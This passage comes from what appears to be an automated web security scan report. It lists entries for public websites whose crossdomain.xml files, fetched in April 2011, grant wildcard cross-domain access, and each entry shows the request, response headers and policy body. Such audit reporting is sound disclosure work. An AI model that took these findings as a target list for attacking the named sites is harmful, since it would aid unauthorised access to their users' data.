<allow-access-from domain="*.danielnegreanu.ca"/>
<allow-access-from domain="*.hevad-khan.com"/>
<allow-access-from domain="*.lee-nelson.net"/>
<allow-access-from domain="*.vanessa-rousso.net"/>
<allow-access-from domain="*"/>
...[SNIP]...

7.110. http://www.popularscreensavers.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.popularscreensavers.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.popularscreensavers.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:34:45 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8c DAV/2 mod_jk/1.2.28
ETag: W/"241-1301508774000"
Last-Modified: Wed, 30 Mar 2011 18:12:54 GMT
Content-Length: 241
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-http-request-headers-from domain="*" headers="*"/>
<allow-access-from domain="*"/>
...[SNIP]...

7.111. http://www.rawtube.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rawtube.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.rawtube.com

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 13 May 2009 01:35:39 GMT
ETag: "820f-13b-469c13a9090c0"
Content-Type: text/xml
Content-Length: 315
Via: www.rawtube.com
Date: Sat, 02 Apr 2011 12:32:31 GMT
X-Varnish: 863747465 862901038
Age: 3296
Via: 1.1 varnish
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" />
...[SNIP]...

7.112. http://www.realsimple.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.realsimple.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.realsimple.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:44:09 GMT
Server: Apache
Last-Modified: Tue, 06 Oct 2009 18:54:33 GMT
ETag: "2158b86-16c-47548c2caac40"
Accept-Ranges: bytes
Content-Length: 364
Content-Type: application/xml
Vary: X-Catmap-Header
P3P: CP='PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PRE CUR ADMa DEVa TAIo PSAo PSDo IVAo IVDo CONo TELo OTPi OUR UNRo PUBi OTRo IND DSP CAO COR'
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-access-from domain="*.redcated" />
<allow-access-from domain="*.atlassolutions.com" />
<allow-access-from domain="*.akamai.net" />
...[SNIP]...

7.113. http://www.redorbit.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.redorbit.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.redorbit.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:34:39 GMT
Server: Apache
Last-Modified: Tue, 01 Mar 2011 15:00:52 GMT
Accept-Ranges: bytes
Content-Length: 208
Vary: User-Agent
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain
...[SNIP]...

7.114. http://www.scout.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.scout.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.scout.com

Response

HTTP/1.1 200 OK
Content-Length: 222
Content-Type: text/xml
Content-Location: http://www.scout.com/crossdomain.xml
Last-Modified: Thu, 19 Aug 2010 20:24:22 GMT
Accept-Ranges: bytes
ETag: "01f3482dc3fcb1:110f"
Server: Microsoft-IIS/6.0
Server: Static2
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:44:51 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />

...[SNIP]...

7.115. http://www.sendspace.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.sendspace.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.sendspace.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml
ETag: "1797000725"
Last-Modified: Fri, 01 Apr 2011 07:15:01 GMT
Content-Length: 115
Connection: close
Date: Sat, 02 Apr 2011 14:08:28 GMT
Server: Apache

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

7.116. http://www.sfgate.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.sfgate.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.sfgate.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:43:16 GMT
Server: Apache/2.2.16 (Linux/SUSE) DAV/2 mod_fcgid/2.3.5 mod_perl/2.0.4 Perl/v5.12.1
Set-Cookie: Apache=173.193.214.243.1301751796195568; path=/; max-age=31536000; domain=.sfgate.com
Last-Modified: Tue, 09 Jan 2007 23:06:08 GMT
ETag: "4d737b-cb-426a397623678"
Accept-Ranges: bytes
Content-Length: 203
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-polic
...[SNIP]...

7.117. http://www.sheknows.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.sheknows.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.sheknows.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:53:25 GMT
Server: Apache/2
Accept-Ranges: bytes
Content-Length: 201
Vary: Accept-Encoding
X-Served-By: app3v-sk.wuo.lax2
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy
...[SNIP]...

7.118. http://www.shockwave.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shockwave.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.shockwave.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.6 (Unix) mod_ssl/2.2.6 OpenSSL/0.9.7a Resin/3.1.2
Last-Modified: Wed, 25 Feb 2009 04:02:39 GMT
ETag: "11d7972a2-109-463b64e7f35c0"
Accept-Ranges: bytes
Content-Length: 265
Content-Type: application/xml
Cache-Control: max-age=624
Expires: Sat, 02 Apr 2011 13:55:06 GMT
Date: Sat, 02 Apr 2011 13:44:42 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-access-from domain="*.nick.com" secure="true" />
...[SNIP]...

7.119. http://www.slideshare.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slideshare.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.slideshare.net

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Content-Type: text/xml
Last-Modified: Fri, 01 Apr 2011 18:28:13 GMT
Expires: Sun, 03 Apr 2011 12:32:11 GMT
Cache-Control: max-age=86400
Content-Length: 222
Date: Sat, 02 Apr 2011 13:37:27 GMT
X-Varnish: 2056362629 2055719298
Age: 3916
Via: 1.1 varnish
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />

...[SNIP]...

7.120. http://www.spike.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.spike.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.spike.com

Response

HTTP/1.0 200 OK
Server: Apache/2.0.63 (Unix) PHP/5.3.2
Last-Modified: Wed, 23 Jun 2010 15:37:40 GMT
ETag: "5db0a-102-489b4516c1900"
Accept-Ranges: bytes
Content-Length: 258
Content-Type: application/xml
Date: Sat, 02 Apr 2011 13:31:39 GMT
Connection: close
Set-Cookie: ak-mobile-detected=no; expires=Sat, 02-Apr-2011 19:31:39 GMT; path=/
Vary: User-Agent

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
<allow-http-request-hea
...[SNIP]...

7.121. http://www.sportsnetwork.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.sportsnetwork.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.sportsnetwork.com

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Cache-Control: max-age=60
Expires: Sat, 02 Apr 2011 13:44:06 GMT
Date: Sat, 02 Apr 2011 13:43:06 GMT
Content-Type: text/xml
Accept-Ranges: bytes
Last-Modified: Mon, 20 Jul 2009 16:18:35 GMT
ETag: "d2a1a8bb559ca1:160a"
Content-Length: 202

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-polic
...[SNIP]...

7.122. http://www.swagbucks.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.swagbucks.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.swagbucks.com

Response

HTTP/1.1 200 OK
Content-Length: 186
Content-Type: text/xml
Last-Modified: Thu, 11 Jun 2009 18:44:34 GMT
Accept-Ranges: bytes
ETag: "48a15aac4eac91:4dd"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:52:55 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.123. http://www.syfy.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.syfy.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.syfy.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8b DAV/2 PHP/5.2.6 mod_perl/2.0.4 Perl/v5.12.2
Last-Modified: Mon, 14 Sep 2009 16:36:06 GMT
ETag: "9c9dd1-a3-4738c4325a980"
Accept-Ranges: bytes
Content-Length: 163
Content-Type: application/xml
Cache-Control: max-age=300
Expires: Sat, 02 Apr 2011 14:11:19 GMT
Date: Sat, 02 Apr 2011 14:06:19 GMT
Connection: close
Set-Cookie: ak-mobile-detected=no; expires=Sun, 03-Apr-2011 14:06:19 GMT; path=/
Vary: User-Agent

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.124. http://www.tampabay.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tampabay.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.tampabay.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 02 Apr 2011 13:39:21 GMT
Content-Type: text/xml
Connection: close
Cache-control: public,private
Last-modified: Mon, 23 Jun 2008 21:00:46 GMT
Etag: "52-48600efe"
X-Cacheable: YES
Content-Length: 82
X-Varnish: 380322934 380303585
Age: 283
Via: 1.1 varnish
X-Served-By: varnish-a
X-Cache: HIT
X-Cache-Hits: 2
X-Cache-Backend: default

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.125. http://www.tastebook.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tastebook.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.tastebook.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:09:10 GMT
Server: Apache
Last-Modified: Mon, 07 Mar 2011 22:16:25 GMT
Accept-Ranges: bytes
Content-Length: 146
Cache-Control: max-age=300
Expires: Sat, 02 Apr 2011 14:14:10 GMT
Vary: Accept-Encoding
P3P: policyref="http://www.tastebook.com/w3c/p3p.xml", CP="ALL DSP COR LAW CURa CONi OUR BUS IND PHY ONL UNI PUR COM NAV STA"
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.126. http://www.teennick.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.teennick.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.teennick.com

Response

HTTP/1.0 200 OK
Server: Apache/2.0.63 (Unix) mod_jk/1.2.27
ETag: W/"2563-1301085024000"
Last-Modified: Fri, 25 Mar 2011 20:30:24 GMT
Content-Length: 2563
Content-Type: text/xml
Cache-Control: max-age=600
Date: Sat, 02 Apr 2011 14:18:01 GMT
Connection: close
Set-Cookie: ak-mobile-detected=no; expires=Sat, 02-Apr-2011 20:18:01 GMT; path=/
Vary: User-Agent

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*.mtvi.com"/>
   <allow-access-from domain="*.nick.com"/>
   <allow-access-from domain="*.nickjr.com"/>
   <allow-access-from domain="*.nickjr-d.mtvi.com"/>
   <allow-access-from domain="*.nickjr-q.mtvi.com"/>
   <allow-access-from domain="*.nickonline.com"/>
   <allow-access-from domain="*.kids.nickonline.com"/>
   <allow-access-from domain="*.addictinggames.com"/>
   <allow-access-from domain="*.shockwave.com"/>
   <allow-access-from domain="*.nickatnite.com"/>
   <allow-access-from domain="*.nickatnight.com"/>
   <allow-access-from domain="*.magorium.com"/>
   <allow-access-from domain="*.doubleclick*"/>
   <allow-access-from domain="*.the-n.com"/>
   <allow-access-from domain="*.theredspace.com"/>
   <allow-access-from domain="24.222.18.26"/>
   <allow-access-from domain="*.nicktoonsnetwork.com"/>
   <allow-access-from domain="*.mtvnservices.com"/>
   <allow-access-from domain="*.biggreenhelp.com"/>
   <allow-access-from domain="*.nick.co.kr"/>
   <allow-access-from domain="*.nicktv.it"/>
   <allow-access-from domain="*.popsicle.com"/>
   <allow-access-from domain="*.mtv.pl"/>
   <allow-access-from domain="96.10.20.67"/>
   <allow-access-from domain="*.mua.nick-d.mtvi.com"/>
   <allow-access-from domain="*.mua.nick-q.mtvi.com"/>
   <allow-access-from domain="*.mua.nick.com"/>
   <allow-access-from domain="kca.gigya.s3.amazonaws.com"/>
   <allow-access-from domain="http://testing.arkadium.com"/>
...[SNIP]...
<allow-access-from domain="*.neopets.com"/>
   <allow-access-from domain="gamestudio.sarbakangames.com"/>
   <allow-access-from domain="*.scenic-d.mtvi.com/"/>
   <allow-access-from domain="*.scenic-q.mtvi.com/"/>
   <allow-access-from domain="*.scenic-l.mtvi.com/"/>
   <allow-access-from domain="live.toptrumps.com"/>
   <allow-access-from domain="*.doubleclick.net" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.dartmotif.net" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.doubleclick.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.doubleclick.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.doubleclick.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.dartmotif.net" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.gstatic.com" secure="false"/>
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.127. http://www.terra.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.terra.com
Path: